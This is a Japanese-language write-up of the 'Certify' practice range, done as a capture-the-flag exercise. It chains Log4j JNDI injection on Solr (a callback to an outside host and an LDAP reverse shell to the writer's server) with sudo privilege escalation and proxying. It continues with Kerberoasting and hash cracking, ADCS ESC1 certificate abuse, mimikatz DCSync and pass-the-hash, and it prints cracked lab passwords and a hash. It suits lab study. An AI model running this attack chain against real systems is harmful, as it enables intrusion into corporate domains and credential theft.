[[仿真靶场 - Certify]]#
靶场紹介#
Certify は中程度の難易度の靶場環境であり、この挑戦を完了することで、プレイヤーは内部ネットワークの侵入におけるプロキシ転送、内部スキャン、情報収集、特権昇格、横移動技術方法を理解し、ドメイン環境のコア認証メカニズムに対する理解を深め、ドメイン環境の侵入におけるいくつかの興味深い技術的ポイントを習得することができます。この靶場には 4 つのフラグがあり、異なる靶機に分散しています。
- Solr
- AD CS
- SMB
- Kerberos
- ドメイン侵入
解題手順#
最初のフラグ#
nmap スキャン
80 ポートスキャンディレクトリは無結果
nmap 全ポートスキャン
http://39.99.234.17:8983/solr/#/ にアクセスすると、solr インターフェースが表示され、log4j 脆弱性が存在する可能性があります
http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json
にアクセスして dnslog にアクセスできるかテストしたところ、以下のようにアクセス可能で、log4j 脆弱性が存在する可能性があります
シェルをリバウンド
JNDI を利用してシェルを返します。vps 上で
同時に vps でリスニングを開始
nc -lvnp 1234
ldap://x.x.x.x:1389/Basic/ReverseShell/vpsのipアドレス/1234
リクエストを送信し、シェルが正常に返されました
solr ユーザーはフラグを見つけられず、root ユーザーに昇格する必要があります
sudo -l で、sudo 権限で実行されるファイルを確認すると、/usr/bin/grc
ファイルが root パスワードを入力せずに root 権限で実行できることがわかります
直接/usr/bin/grc
ファイルを実行すると、出力は以下のようになります。--pty パラメータに注意してください
https://gtfobins.github.io/gtfobins/grc/ サイトで grc 昇格方法を見つけることができます
sudo grc --pty /bin/sh
最初のフラグを取得
二つ目のフラグ#
サーバーの IP を確認すると、solr サーバーの IP アドレスは:172.22.9.19 です
fscan スキャンをアップロード
スキャン後の情報を整理すると以下のようになります:
172.22.9.7 XIAORANG\XIAORANG-DC #dcサーバー
172.22.9.26 #ドメイン内マシン
172.22.9.47 #ファイルサーバー
172.22.9.19 #solrサーバー
注意:他の人の wp を見たところ、ここにサーバーが一台足りないことがわかりました。後の二つのフラグは取得できません。
内部ネットワークトラフィックをプロキシして、venomを使用してプロキシします。
1、vps でリスニング
./admin_linux_x64 -lport 9999
2、同時に、vps で web サービスを開始
python3 -m http.server
3、solr 靶機でエージェントをダウンロード
wget http://vpsのipアドレス:8000/agent_linux_x64
4、靶機で venom のエージェントを実行し、サーバーに接続
./agent_linux_x64 -rhost vpsのipアドレス -rport 9999
socks プロキシを開始
まずファイルサーバーを確認し、ファイル共有が存在するかテストします。
kali で /etc/proxychains4.conf ファイルを変更し、プロキシサーバーを設定します。
nmap スキャン
proxychains -q nmap -sT -A 172.22.9.47
proxychains smbclient \\\\172.22.9.47\\fileshare
get personnel.db
get secret\flag02.txt
二つ目のフラグを取得
ヒント:はい、あなたは smb を列挙しました。しかし、SPN が何か知っていますか?(確かに、あなたは smb を言及しました。しかし、SPN の意味を知っていますか?)
三つ目のフラグ#
personnel.db ファイルを確認すると、いくつかのユーザー名とパスワードが見つかります
ユーザー名とパスワードをエクスポートし、hydra で rdp をブルートフォース攻撃し、2 つのアカウントを破られましたが、ログインできませんでした
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV
エラーはアカウントは有効かもしれませんが、リモートデスクトップ機能が有効になっていないようです。
と教えてくれます。
flag02 のヒントに基づいて(確かに、あなたは smb を言及しました。しかし、SPN の意味を知っていますか?)
ドメインユーザーの spn を取得します
proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
hydra でブルートフォース攻撃したパスワードを入力
krb5tgs の Kerberos TGS-REP(チケット授与サービス応答)チケットのハッシュを取得しました
hashcat でブルートフォース攻撃
hashcat -m 13100 -a 0 hash.txt wordlist.txt
zhangxia と chenchen のパスワードを破りました
パスワードは以下の通りです:
MyPass2@@6
@Passw0rd@
rdp 接続
proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389
172.22.9.26 の rdp に成功アクセスしました
administrator ディレクトリにアクセスできず、フラグはこのディレクトリにあります
四つ目のフラグ#
ADCS ESC1#
参考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
Certify ファイルをダウンロードし、172.22.9.26 にアップロードします
Certify ダウンロード:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
以下のコマンドを実行します:
#脆弱な証明書テンプレートを検索
Certify.exe find /vulnerable
msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT フラグが設定された証明書テンプレートを確認し、この脆弱性を利用して管理者を偽装します
注:しかし、実行後にエラーが発生し、調査したところ、この環境にはまだ起動していないサーバーがあり、172.22.9.13 で、このサーバーは CA サーバーです。その後、何度も再試行しましたが、起動しませんでした。
通常、このステップではドメイン管理者に証明書を申請し、証明書ファイルを出力できます。その後、証明書形式を.pfx 形式に変換します。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
次に、Rubeus または certipy を使用して認証を行います
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
チケットを取得した後、ハッシュをエクスポートします
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
上記のコマンドを実行すると、ドメイン内のユーザーとドメイン管理者のハッシュを取得できます。
ハッシュ転送#
ハッシュを取得した後、ハッシュ転送を行い、ドメイン内のユーザー権限を取得します
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
同様の方法で 172.22.9.7(ドメイン管理者の権限)を取得します
proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"